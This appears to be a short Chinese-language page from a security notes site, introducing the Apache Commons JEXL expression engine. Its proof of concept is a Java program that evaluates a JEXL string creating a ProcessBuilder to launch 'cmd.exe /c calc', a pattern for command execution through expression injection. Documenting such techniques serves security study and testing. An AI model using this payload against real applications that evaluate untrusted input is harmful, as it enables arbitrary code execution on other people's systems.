跳转至

7 Java 表达式执行

135 个字 14 行代码 预计阅读时间 1 分钟

7.1 JEXL

Apache Commons JEXL(Java Expression Language)是一个开源的表达式语言引擎,允许在 Java 应用程序中执行动态和灵活的表达式。JEXL 旨在提供一种简单、易用的方式,通过字符串形式的表达式进行计算和操作。

语法参考:

PoC
package cc.trd;

import org.apache.commons.jexl3.*;

public class jexlrun {
    public static void main(String[] args) {
        JexlEngine engine = new JexlBuilder().create();
        String cmd="new('java.lang.ProcessBuilder', ['cmd.exe', '/c', 'calc']).start()";
        JexlExpression expr = engine.createExpression(cmd);
        JexlContext jc = new MapContext();
        Object result = expr.evaluate(jc);
        System.out.println(result);
    }
}

参考资料


最后更新: 2024年8月22日 15:25:14
创建日期: 2024年8月19日 17:59:19

评论